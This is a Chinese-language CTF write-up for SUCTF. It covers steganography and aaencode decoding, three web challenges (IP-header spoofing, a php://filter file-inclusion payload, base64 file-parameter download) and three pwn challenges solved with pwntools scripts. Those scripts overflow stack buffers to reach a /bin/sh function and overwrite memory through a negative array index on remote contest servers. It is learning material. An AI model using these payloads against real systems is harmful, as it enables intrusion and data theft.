SUCTF线上赛writeup ---- by douNine

一、misc

1.single dog:

下载后,启用虚拟机的共享文件夹,然后在虚拟机Ubuntu下,用binwalk查看该文件夹中lalalala.jpg:

1
2
3
4
5
6
7
8
9
dou9@ubuntu:/mnt/hgfs/SUCTF/misc/single-dog$ binwalk lalalala.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
18142 0x46DE Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:xmp="http://
115772 0x1C43C Zip archive data, at least v2.0 to extract, compressed size: 729, uncompressed size: 8206, name: 1.txt
116623 0x1C78F End of Zip archive

发现该jpg文件中藏着一个压缩包,压缩包中有一个txt文件。接下来,直接用binwalk -e lalalala.jpg拆分该文件。最终,生成一个了压缩包,在该压缩包中有一个1.txt文件,查看该文件后发现里面是一堆有规律的字符:

1
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚) ['c']+ (゚Д゚) ['c']+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚ー゚)+ (゚Д゚) .゚Д゚ノ+ (c^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚) [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+ (゚Д゚) .゚Θ゚ノ+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚ー゚)+ (゚Д゚) .゚Д゚ノ+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

由于其规律性,猜测这可能是一种编码。费尽周折后终于找到了这门奇怪的编码aaencode,并找到在线解码网址。解码后得到flag。

二、web

1.where are you from level1

进入题目中网址,它提示要“only guest from 127.0.0.1 can get flag of level1”。所以,猜测要伪造本机的IP地址,于是用fiddler拦截提交的网络包,在Http头中加入Client-Ip: 127.0.0.1,再发出。然后,网页就返回了flag。

2.include me

进入题目中网址,点击一下网页中的按钮后,通过网页的urlhttp://49.4.68.67:88/?lang=cn.php可以看出这是一个文件包含漏洞题。于是,将url改成http://49.4.68.67:88/index.php?lang=php://filter/read=convert.base64-encode/resource=index.php即得到了base64加密的PHP源码。经过解码后,flag即在程序注释里。

3.yunpan

进入网址,发现是这样的:小明的云盘肯定第一眼点开readme.txt啊。readme.txt中提示了flag.php,但并没有给出任何源码。于是回到最初页面,右键检查网页,发现a标签中的href属性为/download.php?file=5rOi5aSa6YeO57uT6KGjKEVNUC0wMDEpLmF2aQ==。因此猜测可以这样输入url:http://49.4.68.67:90/download.php?file=flag.php,但是忘了base64加密呀,要改成:http://49.4.68.67:90/download.php?file=ZmxhZy5waHA=。然后flag.php就下载到电脑上了。

三、pwn

1.stack

先在Ubuntu上用binwalk查看其中的pwn文件,发现这是一个64位的ELF文件,即Linux上的可执行文件。接着,到Windows中用IDA查看该文件,发现其中有一个next_door()函数:

1
2
3
4
int next_door()
{
return system("/bin/sh");
}

显然,要让该文件执行这个函数就能破题,因为system(“/bin/sh”)可以调用了Linux的shell,即能为所欲为。然后我们在看到main()函数,其中的read(0, &buf, 0x30uLL);显然是一个产生溢出的函数。于是求出buf字符与函数返回地址之间的差值:0x28,同时得到next_door()函数的地址为:0x0000000000400676。接下来就要写脚本了,脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

conn = remote('43.254.3.203', 10003) # 连接服务器主机
pwn_elf = ELF('pwn') # 获取本地的pwn文件
# 进行字符串拼接,p6()将该地址转换成小端法返回
# pwn_elf.symbols[]也可以获取到该函数的地址
payload = "a" * 0x28 + p64(pwn_elf.symbols['next_door'])
print conn.recv() # 打印连接后返回的内容
conn.sendline(payload) # 将拼接后的字符串发送到服务器
conn.interactive() # 保持连接状态

编写完后运行该脚本,即连接到服务器,并获取了服务器的shell,然后进入home/ctf/文件夹,然后cat查看flag即得到了flag。

2.basic pwn

先判断这是一个64位ELF类型文件,然后用IDA查看该文件。发现这道题和第一题十分类似,有一个callThisFun()函数:

1
2
3
4
5
6
7
8
9
10
11
int callThisFun(void)
{
char *path; // [rsp+0h] [rbp-20h]
const char *v2; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]

path = "/bin/cat";
v2 = "flag.txt";
v3 = 0LL;
return execve("/bin/cat", &path, 0LL);
}

该函数调用了服务器的cat命令,并查看服务器中的一个flag.txt文件。显然只要调用这个函数,就能得到flag。再看一下主函数:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-110h]
int v5; // [rsp+11Ch] [rbp-4h]

scanf("%s", &s, envp, argv);
v5 = strlen(&s);
printf("Hi %s\n", &s);
return 0;
}

在这个主函数中,有一个scanf(),显然是存在溢出漏洞的。因此,首先找到callThisFun()函数的地址:0x0000000000401157,再求出s与函数返回地址的差值:0x118。然后就可以写python脚本类了:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

conn = remote('43.254.3.203', 10004)
pwn = ELF('pwn')

payload = "a" * 0x118 + p64(0x0000000000401157)
conn.sendline(payload)
conn.interactive()

连接到服务器并输送payload后,服务器就直接显示出了flag。

3.babyarray

同样先判断了这是个64位的ELF文件,然后用IDA进行查看。发现这道题只有一个正常的main()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(" ____ _ _ ____ _____ _____ ");
puts("/ ___|| | | |/ ___|_ _| ___|");
puts("\\___ \\| | | | | | | | |_ ");
puts(" ___) | |_| | |___ | | | _| ");
puts("|____/ \\___/ \\____| |_| |_| ");
puts(" ");
puts("============================");
puts("index:");
__isoc99_scanf("%d", &v4);
puts("value:");
__isoc99_scanf("%d", 4LL * v4 + 6295712);
if ( !a )
printf(flag);
return 0;
}

显然,只要能让a=0,即能打印出flag。但a并不在主函数中,我们要先查看a的地址:0x0000000000601068。然后,观察主函数可以知道,只要让第二个scanf()函数将输入的0值放到a地址指向那片内存区域即可。因此,要让 4*v4+6295712 = 0x0000000000601068,解一下方程可得 v4 = -14。于是,可以开始写脚本了:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

conn = remote('43.254.3.203', 10001)
pwn_elf = ELF('pwn')
payload = "-14"
print conn.recv()
conn.sendline(payload)
conn.interactive()

运行脚本,连接到服务器后再输入0,即拿到了flag。